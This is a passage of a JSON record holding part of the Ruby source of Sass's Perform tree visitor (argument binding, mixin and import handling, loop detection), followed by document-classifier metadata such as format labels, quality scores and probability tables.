keywords, splat)\n desc = \"#{callable.type.capitalize} #{callable.name}\"\n downcase_desc = \"#{callable.type} #{callable.name}\"\n\n begin\n unless keywords.empty?\n unknown_args = Sass::Util.array_minus(keywords.keys,\n callable.args.map {|var| var.first.underscored_name})\n if callable.splat && unknown_args.include?(callable.splat.underscored_name)\n raise Sass::SyntaxError.new(\"Argument $#{callable.splat.name} of #{downcase_desc} cannot be used as a named argument.\")\n elsif unknown_args.any?\n description = unknown_args.length > 1 ? 'the following arguments:' : 'an argument named'\n raise Sass::SyntaxError.new(\"#{desc} doesn't have #{description} #{unknown_args.map {|name| \"$#{name}\"}.join ', '}.\")\n end\n end\n rescue Sass::SyntaxError => keyword_exception\n end\n\n # If there's no splat, raise the keyword exception immediately. The actual\n # raising happens in the ensure clause at the end of this function.\n return if keyword_exception && !callable.splat\n\n if args.size > callable.args.size && !callable.splat\n takes = callable.args.size\n passed = args.size\n raise Sass::SyntaxError.new(\n \"#{desc} takes #{takes} argument#{'s' unless takes == 1} \" +\n \"but #{passed} #{passed == 1 ? 'was' : 'were'} passed.\")\n end\n\n splat_sep = :comma\n if splat\n args += splat.to_a\n splat_sep = splat.separator if splat.is_a?(Sass::Script::List)\n # If the splat argument exists, there won't be any keywords passed in\n # manually, so we can safely overwrite rather than merge here.\n keywords = splat.keywords if splat.is_a?(Sass::Script::ArgList)\n end\n\n keywords = keywords.dup\n env = Sass::Environment.new(callable.environment)\n callable.args.zip(args[0...callable.args.length]) do |(var, default), value|\n if value && keywords.include?(var.underscored_name)\n raise Sass::SyntaxError.new(\"#{desc} was passed argument $#{var.name} both by position and by name.\")\n end\n\n value ||= keywords.delete(var.underscored_name)\n value ||= default && default.perform(env)\n raise Sass::SyntaxError.new(\"#{desc} is missing argument #{var.inspect}.\") unless value\n env.set_local_var(var.name, value)\n end\n\n if callable.splat\n rest = args[callable.args.length..-1]\n arg_list = Sass::Script::ArgList.new(rest, keywords.dup, splat_sep)\n arg_list.options = env.options\n env.set_local_var(callable.splat.name, arg_list)\n end\n\n yield env\n rescue Exception => e\n ensure\n # If there's a keyword exception, we don't want to throw it immediately,\n # because the invalid keywords may be part of a glob argument that should be\n # passed on to another function. So we only raise it if we reach the end of\n # this function *and* the keywords attached to the argument list glob object\n # haven't been accessed.\n #\n # The keyword exception takes precedence over any Sass errors, but not over\n # non-Sass exceptions.\n if keyword_exception &&\n !(arg_list && arg_list.keywords_accessed) &&\n (e.nil? || e.is_a?(Sass::SyntaxError))\n raise keyword_exception\n elsif e\n raise e\n end\n end\n\n protected\n\n def initialize(env)\n @environment = env\n # Stack trace information, including mixin includes and imports.\n @stack = []\n end\n\n # If an exception is raised, this adds proper metadata to the backtrace.\n def visit(node)\n super(node.dup)\n rescue Sass::SyntaxError => e\n e.modify_backtrace(:filename => node.filename, :line => node.line)\n raise e\n end\n\n # Keeps track of the current environment.\n def visit_children(parent)\n with_environment Sass::Environment.new(@environment, parent.options) do\n parent.children = super.flatten\n parent\n end\n end\n\n # Runs a block of code with the current environment replaced with the given one.\n #\n # @param env [Sass::Environment] The new environment for the duration of the block.\n # @yield A block in which the environment is set to `env`.\n # @return [Object] The return value of the block.\n def with_environment(env)\n old_env, @environment = @environment, env\n yield\n ensure\n @environment = old_env\n end\n\n # Sets the options on the environment if this is the top-level root.\n def visit_root(node)\n yield\n rescue Sass::SyntaxError => e\n e.sass_template ||= node.template\n raise e\n end\n\n # Removes this node from the tree if it's a silent comment.\n def visit_comment(node)\n return [] if node.invisible?\n node.resolved_value = run_interp_no_strip(node.value)\n node.resolved_value.gsub!(/\\\\([\\\\#])/, '\\1')\n node\n end\n\n # Prints the expression to STDERR.\n def visit_debug(node)\n res = node.expr.perform(@environment)\n res = res.value if res.is_a?(Sass::Script::String)\n if node.filename\n Sass::Util.sass_warn \"#{node.filename}:#{node.line} DEBUG: #{res}\"\n else\n Sass::Util.sass_warn \"Line #{node.line} DEBUG: #{res}\"\n end\n []\n end\n\n # Runs the child nodes once for each value in the list.\n def visit_each(node)\n list = node.list.perform(@environment)\n\n with_environment Sass::Environment.new(@environment) do\n list.to_a.map do |v|\n @environment.set_local_var(node.var, v)\n node.children.map {|c| visit(c)}\n end.flatten\n end\n end\n\n # Runs SassScript interpolation in the selector,\n # and then parses the result into a {Sass::Selector::CommaSequence}.\n def visit_extend(node)\n parser = Sass::SCSS::StaticParser.new(run_interp(node.selector), node.filename, node.line)\n node.resolved_selector = parser.parse_selector\n node\n end\n\n # Runs the child nodes once for each time through the loop, varying the variable each time.\n def visit_for(node)\n from = node.from.perform(@environment)\n to = node.to.perform(@environment)\n from.assert_int!\n to.assert_int!\n\n to = to.coerce(from.numerator_units, from.denominator_units)\n range = Range.new(from.to_i, to.to_i, node.exclusive)\n\n with_environment Sass::Environment.new(@environment) do\n range.map do |i|\n @environment.set_local_var(node.var,\n Sass::Script::Number.new(i, from.numerator_units, from.denominator_units))\n node.children.map {|c| visit(c)}\n end.flatten\n end\n end\n\n # Loads the function into the environment.\n def visit_function(node)\n env = Sass::Environment.new(@environment, node.options)\n @environment.set_local_function(node.name,\n Sass::Callable.new(node.name, node.args, node.splat, env, node.children, !:has_content, \"function\"))\n []\n end\n\n # Runs the child nodes if the conditional expression is true;\n # otherwise, tries the else nodes.\n def visit_if(node)\n if node.expr.nil? || node.expr.perform(@environment).to_bool\n yield\n node.children\n elsif node.else\n visit(node.else)\n else\n []\n end\n end\n\n # Returns a static DirectiveNode if this is importing a CSS file,\n # or parses and includes the imported Sass file.\n def visit_import(node)\n if path = node.css_import?\n return Sass::Tree::CssImportNode.resolved(\"url(#{path})\")\n end\n file = node.imported_file\n handle_import_loop!(node) if @stack.any? {|e| e[:filename] == file.options[:filename]}\n\n begin\n @stack.push(:filename => node.filename, :line => node.line)\n root = file.to_tree\n Sass::Tree::Visitors::CheckNesting.visit(root)\n node.children = root.children.map {|c| visit(c)}.flatten\n node\n rescue Sass::SyntaxError => e\n e.modify_backtrace(:filename => node.imported_file.options[:filename])\n e.add_backtrace(:filename => node.filename, :line => node.line)\n raise e\n end\n ensure\n @stack.pop unless path\n end\n\n # Loads a mixin into the environment.\n def visit_mixindef(node)\n env = Sass::Environment.new(@environment, node.options)\n @environment.set_local_mixin(node.name,\n Sass::Callable.new(node.name, node.args, node.splat, env, node.children, node.has_content, \"mixin\"))\n []\n end\n\n # Runs a mixin.\n def visit_mixin(node)\n include_loop = true\n handle_include_loop!(node) if @stack.any? {|e| e[:name] == node.name}\n include_loop = false\n\n @stack.push(:filename => node.filename, :line => node.line, :name => node.name)\n raise Sass::SyntaxError.new(\"Undefined mixin '#{node.name}'.\") unless mixin = @environment.mixin(node.name)\n\n if node.children.any? && !mixin.has_content\n raise Sass::SyntaxError.new(%Q{Mixin \"#{node.name}\" does not accept a content block.})\n end\n\n args = node.args.map {|a| a.perform(@environment)}\n keywords = Sass::Util.map_hash(node.keywords) {|k, v| [k, v.perform(@environment)]}\n splat = node.splat.perform(@environment) if node.splat\n\n self.class.perform_arguments(mixin, args, keywords, splat) do |env|\n env.caller = Sass::Environment.new(@environment)\n env.content = node.children if node.has_children\n\n trace_node = Sass::Tree::TraceNode.from_node(node.name, node)\n with_environment(env) {trace_node.children = mixin.tree.map {|c| visit(c)}.flatten}\n trace_node\n end\n rescue Sass::SyntaxError => e\n unless include_loop\n e.modify_backtrace(:mixin => node.name, :line => node.line)\n e.add_backtrace(:line => node.line)\n end\n raise e\n ensure\n @stack.pop unless include_loop\n end\n\n def visit_content(node)\n return [] unless content = @environment.content\n @stack.push(:filename => node.filename, :line => node.line, :name => '@content')\n trace_node = Sass::Tree::TraceNode.from_node('@content', node)\n with_environment(@environment.caller) {trace_node.children = content.map {|c| visit(c.dup)}.flatten}\n trace_node\n rescue Sass::SyntaxError => e\n e.modify_backtrace(:mixin => '@content', :line => node.line)\n e.add_backtrace(:line => node.line)\n raise e\n ensure\n @stack.pop if content\n end\n\n # Runs any SassScript that may be embedded in a property.\n def visit_prop(node)\n node.resolved_name = run_interp(node.name)\n val = node.value.perform(@environment)\n node.resolved_value = val.to_s\n yield\n end\n\n # Returns the value of the expression.\n def visit_return(node)\n throw :_sass_return, node.expr.perform(@environment)\n end\n\n # Runs SassScript interpolation in the selector,\n # and then parses the result into a {Sass::Selector::CommaSequence}.\n def visit_rule(node)\n rule = node.rule\n rule = rule.map {|e| e.is_a?(String) && e != ' ' ? e.strip : e} if node.style == :compressed\n parser = Sass::SCSS::StaticParser.new(run_interp(node.rule), node.filename, node.line)\n node.parsed_rules ||= parser.parse_selector\n if node.options[:trace_selectors]\n @stack.push(:filename => node.filename, :line => node.line)\n node.stack_trace = stack_trace\n @stack.pop\n end\n yield\n end\n\n # Loads the new variable value into the environment.\n def visit_variable(node)\n var = @environment.var(node.name)\n return [] if node.guarded && var && !var.null?\n val = node.expr.perform(@environment)\n @environment.set_var(node.name, val)\n []\n end\n\n # Prints the expression to STDERR with a stylesheet trace.\n def visit_warn(node)\n @stack.push(:filename => node.filename, :line => node.line)\n res = node.expr.perform(@environment)\n res = res.value if res.is_a?(Sass::Script::String)\n msg = \"WARNING: #{res}\\n \"\n msg << stack_trace.join(\"\\n \") << \"\\n\"\n Sass::Util.sass_warn msg\n []\n ensure\n @stack.pop\n end\n\n # Runs the child nodes until the continuation expression becomes false.\n def visit_while(node)\n children = []\n with_environment Sass::Environment.new(@environment) do\n children += node.children.map {|c| visit(c)} while node.expr.perform(@environment).to_bool\n end\n children.flatten\n end\n\n def visit_directive(node)\n node.resolved_value = run_interp(node.value)\n yield\n end\n\n def visit_media(node)\n parser = Sass::SCSS::StaticParser.new(run_interp(node.query), node.filename, node.line)\n node.resolved_query ||= parser.parse_media_query_list\n yield\n end\n\n def visit_supports(node)\n node.condition = node.condition.deep_copy\n node.condition.perform(@environment)\n yield\n end\n\n def visit_cssimport(node)\n node.resolved_uri = run_interp([node.uri])\n if node.query\n parser = Sass::SCSS::StaticParser.new(run_interp(node.query), node.filename, node.line)\n node.resolved_query ||= parser.parse_media_query_list\n end\n yield\n end\n\n private\n\n def stack_trace\n trace = []\n stack = @stack.map {|e| e.dup}.reverse\n stack.each_cons(2) {|(e1, e2)| e1[:caller] = e2[:name]; [e1, e2]}\n stack.each_with_index do |entry, i|\n msg = \"#{i == 0 ? \"on\" : \"from\"} line #{entry[:line]}\"\n msg << \" of #{entry[:filename] || \"an unknown file\"}\"\n msg << \", in `#{entry[:caller]}'\" if entry[:caller]\n trace << msg\n end\n trace\n end\n\n def run_interp_no_strip(text)\n text.map do |r|\n next r if r.is_a?(String)\n val = r.perform(@environment)\n # Interpolated strings should never render with quotes\n next val.value if val.is_a?(Sass::Script::String)\n val.to_s\n end.join\n end\n\n def run_interp(text)\n run_interp_no_strip(text).strip\n end\n\n def handle_include_loop!(node)\n msg = \"An @include loop has been found:\"\n content_count = 0\n mixins = @stack.reverse.map {|s| s[:name]}.compact.select do |s|\n if s == '@content'\n content_count += 1\n false\n elsif content_count > 0\n content_count -= 1\n false\n else\n true\n end\n end\n\n return unless mixins.include?(node.name)\n raise Sass::SyntaxError.new(\"#{msg} #{node.name} includes itself\") if mixins.size == 1\n\n msg << \"\\n\" << Sass::Util.enum_cons(mixins.reverse + [node.name], 2).map do |m1, m2|\n \" #{m1} includes #{m2}\"\n end.join(\"\\n\")\n raise Sass::SyntaxError.new(msg)\n end\n\n def handle_import_loop!(node)\n msg = \"An @import loop has been found:\"\n files = @stack.map {|s| s[:filename]}.compact\n if node.filename == node.imported_file.options[:filename]\n raise Sass::SyntaxError.new(\"#{msg} #{node.filename} imports itself\")\n end\n\n files << node.filename << node.imported_file.options[:filename]\n msg << \"\\n\" << Sass::Util.enum_cons(files, 2).map do |m1, m2|\n \" #{m1} imports #{m2}\"\n end.join(\"\\n\")\n raise Sass::SyntaxError.new(msg)\n end\nend\n", "text_preview": "# A visitor for converting a dynamic Sass tree into a static Sass tree. class Sass::Tree::Visitors::Perform < Sass::Tree::Visitors::Base # @param root [Tree::Node] The root node of the tree to visit. # @param environment [Sass::Environment]", "input_sha256": "2e075d97671d74a32b3e0643dbf3273a186dad1a5d742b7a0822eb2195121ccf", "text_sha256": "0b783a9a994e9a15d499247f28728bf475006f73df9995de141ac27858491659", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16077, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2387127365844457, "noise_severity": 0.005161464846290739, "missing_content_severity": 0.006306472373944082, "factual_density": 3.5593938080671057, "pretraining_utility": 0.5366267487937918, "math_density": 0.11057086917297063, "code_density": 3.9641155801550756, "reasoning_density": 1.3350605033313145, "education_level": 2.7502502900364427, "creative_writing_quality": -0.16852659148370908}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.01202851697109264, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9985911108101818, "secondary": 0.981716759967024, "tertiary": 0.9942682559368597, "structured_records": 0.010458036524036174, "procedural_steps": 0.01681620890694943, "worked_solution": 0.0016405149202980754, "contextual_dialogue": 5.679607114440674e-06, "content_quality": 0.545932128392266, "noise_severity": 0.9956987792947577, "missing_content_severity": 0.9947446063550466, "factual_density": 0.6328281733892547, "pretraining_utility": 0.45516180527583283, "math_density": 0.9078576090225245, "code_density": 0.970096316795896, "reasoning_density": 0.0, "education_level": 0.41652506586936233, "creative_writing_quality": 0.9995116970626985, "primary_topic": 0.9893443146285464, "secondary_topic": 0.9249869341153093}, "probability_margin": {"primary": 0.9979635786192431, "secondary": 0.9685679062294944, "tertiary": 0.9907589437968902, "education_level": 0.15520668303968493, "creative_writing_quality": 0.9994077209373283, "primary_topic": 0.9857111972720621, "secondary_topic": 0.8974263288721225}, "raw_probabilities": {"primary": {"Academic Writing": 2.0797247027469658e-05, "Content Listing": 1.1927618941842992e-05, "Creative Writing": 8.436909849160535e-06, "Customer Support Page": 6.210832629892306e-06, "Q&A Forum": 6.300546150624437e-06, "Discussion Thread": 3.900434144063395e-06, "Comment Section": 7.225851013286572e-06, "Missing Content": 1.3420792219235054e-05, "Knowledge Article": 8.196696885122578e-05, "Legal Notices": 2.005595592390887e-05, "News Article": 2.3406951549138447e-06, "Organizational Announcement": 6.519600797536809e-06, "Nonfiction Writing": 5.749698864345088e-06, "Organizational About Page": 6.7887126966493645e-06, "Personal About Page": 5.560970790574997e-06, "Personal Blog": 4.362929103102909e-06, "Product Page": 4.062196871203519e-06, "Spam / Ads": 4.7195706196070125e-06, "Structured Data": 0.00032715246665982974, "Technical Writing": 0.9986498145264242, "Transcript / Interview": 7.867762947501103e-06, "Tutorial / How-To Guide": 0.0001050820875515445, "User Reviews": 3.4997175872173784e-06, "Other / Unknown": 0.0006862359071810374}, "secondary": {"Academic Writing": 9.361294895299401e-05, "Content Listing": 6.012968325287423e-05, "Creative Writing": 5.934541472489748e-05, "Customer Support Page": 4.170122986661953e-05, "Q&A Forum": 2.4718049335713465e-05, "Discussion Thread": 2.0220155308404988e-05, "Comment Section": 5.647028971045484e-05, "Missing Content": 0.00017959909495517118, "Knowledge Article": 0.000973961580398667, "Legal Notices": 0.00012437844015157268, "News Article": 3.5355699538416996e-05, "Organizational Announcement": 3.5205973160813204e-05, "Nonfiction Writing": 3.347285854249717e-05, "Organizational About Page": 4.36809089904519e-05, "Personal About Page": 3.897009171168889e-05, "Personal Blog": 2.8511100967437887e-05, "Product Page": 2.4127479025202674e-05, "Spam / Ads": 4.05959568674776e-05, "Structured Data": 0.0011043495224520822, "Technical Writing": 0.013910655405570195, "Transcript / Interview": 4.4350042352643996e-05, "Tutorial / How-To Guide": 0.0005282288945816379, "User Reviews": 1.979754451731535e-05, "NONE": 0.9824785616350646}, "tertiary": {"Academic Writing": 4.583590281021428e-05, "Content Listing": 3.3358383764156664e-05, "Creative Writing": 3.691408387663063e-05, "Customer Support Page": 2.367097438801709e-05, "Q&A Forum": 1.1705199068713442e-05, "Discussion Thread": 1.0306284206585128e-05, "Comment Section": 2.8896420347519747e-05, "Missing Content": 0.00015947789194901027, "Knowledge Article": 0.0003585594769425314, "Legal Notices": 0.00013393278659712158, "News Article": 1.919931657931251e-05, "Organizational Announcement": 1.97516014385658e-05, "Nonfiction Writing": 2.2012103912313977e-05, "Organizational About Page": 2.9188775459061685e-05, "Personal About Page": 1.77106082403659e-05, "Personal Blog": 1.4369794496055695e-05, "Product Page": 1.3086386243749801e-05, "Spam / Ads": 2.2548025113953375e-05, "Structured Data": 0.0003764618892820116, "Technical Writing": 0.0037481348092671075, "Transcript / Interview": 2.0728144227083685e-05, "Tutorial / How-To Guide": 0.00033557938054773717, "User Reviews": 1.1493155084775097e-05, "NONE": 0.9945070786061573}, "structured_records": {"false": 0.9895419634759638, "true": 0.010458036524036174}, "procedural_steps": {"false": 0.9831837910930505, "true": 0.01681620890694943}, "worked_solution": {"false": 0.998359485079702, "true": 0.0016405149202980754}, "contextual_dialogue": {"false": 0.9999943203928856, "true": 5.679607114440674e-06}, "content_quality": {"-2": 0.0033772038932571706, "-1": 0.007590864914610017, "0": 0.12777101316342596, "1": 0.4694638267718435, "2": 0.39179709125686324}, "noise_severity": {"0": 0.9956022513359893, "1": 0.003899020101552659, "2": 0.00030737121841179323, "3": 0.00011772706827111166, "4": 7.363027577528994e-05}, "missing_content_severity": {"0": 0.99672889541175, "1": 0.0010382775205171563, "2": 0.0015563561883661298, "3": 0.0005504010407721596, "4": 0.0001260698385945469}, "factual_density": {"0": 0.0026666198092929272, "1": 0.0058637474745396635, "2": 0.056726797438487686, "3": 0.29889487539512827, "4": 0.6358479598825515}, "pretraining_utility": {"-2": 0.007987997698878051, "-1": 0.07833944337057862, "0": 0.377946662599813, "1": 0.44050960509933407, "2": 0.09521629123139623}, "math_density": {"0": 0.9278021593069434, "1": 0.05475079521516233, "2": 0.005514477841037273, "3": 0.002939152271693693, "4": 0.008993415365163165}, "code_density": {"0": 9.727341105101064e-05, "1": 0.00015487197266520175, "2": 0.0026657478835912353, "3": 0.029699214515542593, "4": 0.96738289221715}, "reasoning_density": {"0": 0.40746239478505386, "1": 0.2252604355537412, "2": 0.13158385238732226, "3": 0.09614090609260151, "4": 0.139552411181281}, "education_level": {"none": 0.0010546765198188887, "0": 0.0012563502986257808, "1": 0.004168976166756342, "2": 0.35856420518478366, "3": 0.5137708882244686, "4": 0.12118490360554675}, "creative_writing_quality": {"not_applicable": 0.9995930808855821, "-2": 5.6748600060729844e-05, "-1": 7.31447213410133e-05, "0": 0.0001853599482537161, "1": 6.526645942512993e-05, "2": 2.639938533745069e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.7794076550147396e-05, "Art & Design": 0.004042951409232483, "Law & Crime": 4.222611915475709e-05, "Education & Careers": 3.849606095587962e-05, "Entertainment & Media": 3.2838098532044814e-05, "Fashion & Beauty": 0.0030037988350913414, "Business, Economics & Finance": 3.553382112829187e-05, "Food & Dining": 2.511352705387515e-05, "Games & Gaming": 5.8363865470899215e-05, "Electronics & Hardware": 7.36546509829931e-05, "Health, Healthcare & Wellness": 2.2754693475463393e-05, "History & Geography": 3.0333515264241724e-05, "Home, Pets & Hobbies": 3.6059026839022265e-05, "Industry & Production": 2.5153123845194518e-05, "Language, Literature & Philosophy": 7.32693633335681e-05, "Politics & Government": 1.9901250589775297e-05, "Religion & Spirituality": 2.845036688529886e-05, "Science, Mathematics & Engineering": 0.0014342401722182458, "Relationships & Community": 3.901257377415717e-05, "Software Usage & Applications": 0.0005830873421393517, "Programming & Software Engineering": 0.9897541486812946, "Sports & Fitness": 3.4329591799027686e-05, "Vehicles & Transportation": 1.895479565641842e-05, "Travel & Tourism": 3.9142039295710056e-05, "Other / Uncovered Subject": 0.0004085845881213426, "Unknown / Insufficient Content": 5.180841131597809e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00046907356020401824, "Art & Design": 0.030445723161828777, "Law & Crime": 0.00037182296281211053, "Education & Careers": 0.0002512831114815475, "Entertainment & Media": 0.0003140943120567957, "Fashion & Beauty": 0.020807631220938313, "Business, Economics & Finance": 0.00030202165309241075, "Food & Dining": 0.0001177148472672076, "Games & Gaming": 0.00021253971308255988, "Electronics & Hardware": 0.00027863807316346975, "Health, Healthcare & Wellness": 0.00013606303437340868, "History & Geography": 0.00014275509262351625, "Home, Pets & Hobbies": 0.00013054149308900582, "Industry & Production": 9.464351849453569e-05, "Language, Literature & Philosophy": 0.0003669323494733304, "Politics & Government": 0.00015675821244109944, "Religion & Spirituality": 0.00016232971653389936, "Science, Mathematics & Engineering": 0.004314104381667623, "Relationships & Community": 0.0001465825551931404, "Software Usage & Applications": 0.0020828000158621407, "Programming & Software Engineering": 0.010035673998487666, "Sports & Fitness": 0.00010971879716352827, "Vehicles & Transportation": 6.3101845871113e-05, "Travel & Tourism": 0.00016433972308133344, "Other / Uncovered Subject": 0.0004510606157661097, "NONE": 0.9278720520339513}}, "probabilities": {"primary": {"Academic Writing": 2.0797247027469658e-05, "Content Listing": 1.1927618941842992e-05, "Creative Writing": 8.436909849160535e-06, "Customer Support Page": 6.210832629892306e-06, "Q&A Forum": 6.300546150624437e-06, "Discussion Thread": 3.900434144063395e-06, "Comment Section": 7.225851013286572e-06, "Missing Content": 1.3420792219235054e-05, "Knowledge Article": 8.196696885122578e-05, "Legal Notices": 2.005595592390887e-05, "News Article": 2.3406951549138447e-06, "Organizational Announcement": 6.519600797536809e-06, "Nonfiction Writing": 5.749698864345088e-06, "Organizational About Page": 6.7887126966493645e-06, "Personal About Page": 5.560970790574997e-06, "Personal Blog": 4.362929103102909e-06, "Product Page": 4.062196871203519e-06, "Spam / Ads": 4.7195706196070125e-06, "Structured Data": 0.00032715246665982974, "Technical Writing": 0.9986498145264242, "Transcript / Interview": 7.867762947501103e-06, "Tutorial / How-To Guide": 0.0001050820875515445, "User Reviews": 3.4997175872173784e-06, "Other / Unknown": 0.0006862359071810374}, "secondary": {"Academic Writing": 9.361294895299402e-05, "Content Listing": 6.0129683252874234e-05, "Creative Writing": 5.9345414724897485e-05, "Customer Support Page": 4.170122986661954e-05, "Q&A Forum": 2.471804933571347e-05, "Discussion Thread": 2.022015530840499e-05, "Comment Section": 5.6470289710454845e-05, "Missing Content": 0.0001795990949551712, "Knowledge Article": 0.0009739615803986671, "Legal Notices": 0.0001243784401515727, "News Article": 3.5355699538417e-05, "Organizational Announcement": 3.520597316081321e-05, "Nonfiction Writing": 3.3472858542497174e-05, "Organizational About Page": 4.368090899045191e-05, "Personal About Page": 3.89700917116889e-05, "Personal Blog": 2.851110096743789e-05, "Product Page": 2.4127479025202677e-05, "Spam / Ads": 4.059595686747761e-05, "Structured Data": 0.0011043495224520824, "Technical Writing": 0.013910655405570196, "Transcript / Interview": 4.4350042352644e-05, "Tutorial / How-To Guide": 0.000528228894581638, "User Reviews": 1.9797544517315352e-05, "NONE": 0.9824785616350648}, "tertiary": {"Academic Writing": 4.583590281021429e-05, "Content Listing": 3.335838376415667e-05, "Creative Writing": 3.6914083876630636e-05, "Customer Support Page": 2.3670974388017092e-05, "Q&A Forum": 1.1705199068713444e-05, "Discussion Thread": 1.030628420658513e-05, "Comment Section": 2.889642034751975e-05, "Missing Content": 0.0001594778919490103, "Knowledge Article": 0.00035855947694253147, "Legal Notices": 0.0001339327865971216, "News Article": 1.9199316579312512e-05, "Organizational Announcement": 1.9751601438565805e-05, "Nonfiction Writing": 2.201210391231398e-05, "Organizational About Page": 2.918877545906169e-05, "Personal About Page": 1.7710608240365902e-05, "Personal Blog": 1.4369794496055697e-05, "Product Page": 1.3086386243749803e-05, "Spam / Ads": 2.254802511395338e-05, "Structured Data": 0.00037646188928201166, "Technical Writing": 0.003748134809267108, "Transcript / Interview": 2.0728144227083688e-05, "Tutorial / How-To Guide": 0.0003355793805477372, "User Reviews": 1.1493155084775098e-05, "NONE": 0.9945070786061574}, "structured_records": {"false": 0.9895419634759638, "true": 0.010458036524036174}, "procedural_steps": {"false": 0.9831837910930505, "true": 0.01681620890694943}, "worked_solution": {"false": 0.998359485079702, "true": 0.0016405149202980754}, "contextual_dialogue": {"false": 0.9999943203928856, "true": 5.679607114440674e-06}, "content_quality": {"-2": 0.003377203893257171, "-1": 0.007590864914610018, "0": 0.12777101316342598, "1": 0.46946382677184356, "2": 0.3917970912568633}, "noise_severity": {"0": 0.9956022513359891, "1": 0.003899020101552658, "2": 0.0003073712184117932, "3": 0.00011772706827111163, "4": 7.363027577528993e-05}, "missing_content_severity": {"0": 0.99672889541175, "1": 0.0010382775205171563, "2": 0.0015563561883661298, "3": 0.0005504010407721596, "4": 0.0001260698385945469}, "factual_density": {"0": 0.0026666198092929272, "1": 0.0058637474745396635, "2": 0.056726797438487686, "3": 0.29889487539512827, "4": 0.6358479598825515}, "pretraining_utility": {"-2": 0.007987997698878051, "-1": 0.07833944337057862, "0": 0.377946662599813, "1": 0.44050960509933407, "2": 0.09521629123139623}, "math_density": {"0": 0.9278021593069435, "1": 0.05475079521516234, "2": 0.005514477841037274, "3": 0.0029391522716936936, "4": 0.008993415365163166}, "code_density": {"0": 9.727341105101064e-05, "1": 0.00015487197266520175, "2": 0.0026657478835912353, "3": 0.029699214515542593, "4": 0.96738289221715}, "reasoning_density": {"0": 0.40746239478505397, "1": 0.22526043555374126, "2": 0.1315838523873223, "3": 0.09614090609260154, "4": 0.13955241118128103}, "education_level": {"none": 0.0010546765198188887, "0": 0.0012563502986257808, "1": 0.004168976166756342, "2": 0.35856420518478366, "3": 0.5137708882244686, "4": 0.12118490360554675}, "creative_writing_quality": {"not_applicable": 0.9995930808855819, "-2": 5.674860006072983e-05, "-1": 7.314472134101329e-05, "0": 0.00018535994825371604, "1": 6.526645942512992e-05, "2": 2.6399385337450685e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.779407655014738e-05, "Art & Design": 0.0040429514092324825, "Law & Crime": 4.2226119154757084e-05, "Education & Careers": 3.849606095587961e-05, "Entertainment & Media": 3.283809853204481e-05, "Fashion & Beauty": 0.0030037988350913405, "Business, Economics & Finance": 3.553382112829186e-05, "Food & Dining": 2.5113527053875144e-05, "Games & Gaming": 5.83638654708992e-05, "Electronics & Hardware": 7.365465098299308e-05, "Health, Healthcare & Wellness": 2.275469347546339e-05, "History & Geography": 3.0333515264241717e-05, "Home, Pets & Hobbies": 3.605902683902226e-05, "Industry & Production": 2.515312384519451e-05, "Language, Literature & Philosophy": 7.326936333356809e-05, "Politics & Government": 1.9901250589775294e-05, "Religion & Spirituality": 2.8450366885298855e-05, "Science, Mathematics & Engineering": 0.0014342401722182456, "Relationships & Community": 3.9012573774157166e-05, "Software Usage & Applications": 0.0005830873421393516, "Programming & Software Engineering": 0.9897541486812944, "Sports & Fitness": 3.432959179902768e-05, "Vehicles & Transportation": 1.8954795656418418e-05, "Travel & Tourism": 3.914203929571005e-05, "Other / Uncovered Subject": 0.0004085845881213425, "Unknown / Insufficient Content": 5.180841131597808e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00046907356020401824, "Art & Design": 0.030445723161828777, "Law & Crime": 0.00037182296281211053, "Education & Careers": 0.0002512831114815475, "Entertainment & Media": 0.0003140943120567957, "Fashion & Beauty": 0.020807631220938313, "Business, Economics & Finance": 0.00030202165309241075, "Food & Dining": 0.0001177148472672076, "Games & Gaming": 0.00021253971308255988, "Electronics & Hardware": 0.00027863807316346975, "Health, Healthcare & Wellness": 0.00013606303437340868, "History & Geography": 0.00014275509262351625, "Home, Pets & Hobbies": 0.00013054149308900582, "Industry & Production": 9.464351849453569e-05, "Language, Literature & Philosophy": 0.0003669323494733304, "Politics & Government": 0.00015675821244109944, "Religion & Spirituality": 0.00016232971653389936, "Science, Mathematics & Engineering": 0.004314104381667623, "Relationships & Community": 0.0001465825551931404, "Software Usage & Applications": 0.0020828000158621407, "Programming & Software Engineering": 0.010035673998487666, "Sports & Fitness": 0.00010971879716352827, "Vehicles & Transportation": 6.3101845871113e-05, "Travel & Tourism": 0.00016433972308133344, "Other / Uncovered Subject": 0.0004510606157661097, "NONE": 0.9278720520339513}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, 